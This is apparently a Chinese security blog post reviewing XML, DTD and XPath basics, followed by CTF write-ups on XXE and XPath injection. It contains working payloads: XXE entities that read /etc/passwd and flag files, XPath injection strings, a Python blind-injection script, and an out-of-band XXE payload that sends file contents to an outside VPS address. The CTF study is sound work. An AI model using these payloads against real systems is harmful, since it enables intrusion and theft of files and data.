XML ATTACK ~ XXE / Xpath

一年前写的文章 重新加工一下 权当复习了

建议先好好看看 XML 用途 | 菜鸟教程 (runoob.com) DTD 教程 | 菜鸟教程 (runoob.com)一切都要从基础开始学起

XML基础知识

什么是 XML

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。

XML 和 HTML 之间的差异

XML 不是 HTML 的替代。

XML 和 HTML 为不同的目的而设计:

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

XML 把数据从 HTML 分离

如果您需要在 HTML 文档中显示动态数据,那么每当数据改变时将花费大量的时间来编辑 HTML。

通过 XML,数据能够存储在独立的 XML 文件中。这样您就可以专注于使用 HTML/CSS 进行显示和布局,并确保修改底层数据不再需要对 HTML 进行任何的改变。

通过使用几行 JavaScript 代码,您就可以读取一个外部 XML 文件,并更新您的网页的数据内容。

XML 树结构

XML 文档形成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。


XML 文档形成一种树结构

XML 文档必须包含根元素。该元素是所有其他元素的父元素。

XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。

所有的元素都可以有子元素:

1
2
3
4
5
<root>
<child>
<subchild>.....</subchild>
</child>
</root>

父、子以及同胞等术语用于描述元素之间的关系。父元素拥有子元素。相同层级上的子元素成为同胞(兄弟或姐妹)。

所有的元素都可以有文本内容和属性(类似 HTML 中)。

一个很恰当的例子

您可以假设,从这个实例中,XML 文档包含了一张 Jani 写给 Tove 的便签。可以看出XML 具有出色的自我描述性

  • 第一行是 XML 声明。它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言)。

  • 下一行描述文档的根元素(像在说:”本文档是一个便签”)<note>

  • 接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body)

  • 最后一行定义根元素的结尾 </note>

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

一些要注意的地方

所有的 XML 元素都必须有一个关闭标签

XML 标签对大小写敏感。标签 <Letter> 与标签<letter>是不同的

XML 必须正确嵌套

XML 属性值必须加引号

加引号!

1
2
3
4
<note date="12/11/2007">
<to>Tove</to>
<from>Jani</from>
</note>

良好的XML文档

  • XML 文档必须有一个根元素
  • XML元素都必须有一个关闭标签
  • XML 标签对大小写敏感
  • XML 元素必须被正确的嵌套
  • XML 属性值必须加引号

DTD

DTD 教程 | 菜鸟教程 (runoob.com)

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

1
<!DOCTYPE root-element [element-declarations]>

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,他就是长得下面这个样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

以上 DTD 解释如下:

  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。

  • !ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”

  • !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型

  • !ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型

  • !ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型

  • !ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

1
<!DOCTYPE root-element SYSTEM "filename">
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

这是包含 DTD 的 “note.dtd” 文件:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

为什么使用 DTD?

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。

通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。

您还可以使用 DTD 来验证您自身的数据。

实体

重点一:

实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

1
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

重点二:

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)

1.通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

2.参数实体:
1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

参数实体在我们 Blind XXE 中起到了至关重要的作用

xpath基础知识

什么是 XPath?

  • XPath 使用路径表达式在 XML 文档中进行导航
  • XPath 包含一个标准函数库
  • XPath 是 XSLT 中的主要元素
  • XPath 是一个 W3C 标准

XPath 路径表达式

XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。

XPath 标准函数

XPath 含有超过 100 个内建的函数。这些函数用于字符串值、数值、日期和时间比较、节点和 QName 处理、序列处理、逻辑值等等。

XPATH注入原理

XPath 注入利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得高权限信息的访问权。

XPath注入类似于SQL注入,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入,由于Xpath中数据不像SQL中有权限的概念,用户可通过提交恶意XPATH代码获取到完整xml文档数据

例题

今年做的

pentestlab

第一题 xml injection

发现accept xml

image-20220817151040061

发现解析xml

image-20220817151156740

构造注入

1
<test>2333</test>
1
2
3
4
5
<!DOCTYPE data [
<!ELEMENT data ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

记得一定要url encode 不然后端解析会出错

第二题 xpath injection

image-20220817160753861

1
hacker' or 1=1 or ''='
  • ' and '1'='1 and you should get the same result.
  • ' or '1'='0 and you should get the same result.
  • ' and '1'='0 and you should not get any result.
  • ' or '1'='1 and you should get all results.

[NPUCTF2020]ezlogin

image-20220819024930877

一眼就看出是搞XML

xpath盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import re

url='http://ha1cyon-ctf.fun:30163/'
sess=requests.session()
def token():
req=sess.get(url)
tok=re.findall('<input type="hidden" id="token" value="(.*)" />',req.text)
return tok[0]

def login(username,password):
data='''
<username>{}</username><password>{}</password><token>{}</token>
'''.format(username,password,token())

req=sess.post(url+'login.php',data=data,headers = {'Content-Type': 'application/xml'})
print(req.text,req.status_code)
return req


# root
payload="' or substring(name(/*[position()=1]),{},1)='{}' or '1' = '1"
ro='root'

payload="' or substring(name(/root/*[position()=1]),{},1)='{}' or '1' = '1"
ro='accounts'

payload="' or substring(name(/root/accounts/*[position()=1]),{},1)='{}' or '1' = '1"
ro='user'

payload="' or substring(name(/root/accounts/user/*[position()=2]),{},1)='{}' or '1' = '1"
# id username password
ro=''


payload="1' or substring(/root/accounts/user[id=2]/username,{},1)='{}' or '1'='1"
# guest adm1n
ro=''

payload="1' or substring(/root/accounts/user[id=2]/password,{},1)='{}' or '1'='1"
#cf7414b5bdb2e65ee43083f4ddbc4d9f gtfly123
ro=''

import string
for i in range(1,100):
for j in string.digits+string.ascii_letters+'*':
if j=='*':
print('***************false')
break
tmp=payload.format(i,j)

req=login(tmp,'ad')
if '非法操作' in req.text:
ro+=j
print(ro)
break

然后伪协议读一下就好 (大小写绕过一下

1
?file=pHp://filter/convert.bASe64-encode/resource=/flag

去年做的

web373

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

看样子要上传一个 恶意 XML 文件

在这里插入图片描述

1
2
3
4
5
<!DOCTYPE a [  
<!ENTITY xxe SYSTEM "file:///flag"> ]>
<t>
<ctfshow>&xxe;</ctfshow>
</t>

web374 (无回显读取本地敏感文件(Blind OOB XXE))

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

payload

现在我们的vps上挂一个dtd

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY &#x25 remote SYSTEM "http://8.135.132.214/fuck.dtd">
%remote;%int;%send;
]>

读出flag 然后加载我们的remote dtd 然后转发给我们的vps 9999 端口

1
2
3
4
5
6
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://8.135.132.214:8888/fuck.dtd">
%aaa;
]>
<root>123</root>

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 fuck.dtd ,有点类似于将 fuck.dtd 包含进来,然后 %int 调用 fuck.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

论各种语言中xee的可利用性

在这里插入图片描述

结合phar进行rce

参考

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
https://blog.csdn.net/weixin_39927799/article/details/110723346
https://github.com/Stakcery/Web-Security/tree/main/XXE
https://xz.aliyun.com/t/3357

https://xz.aliyun.com/t/10774

[xpath](XPATH注入学习 - 先知社区 (aliyun.com))

reference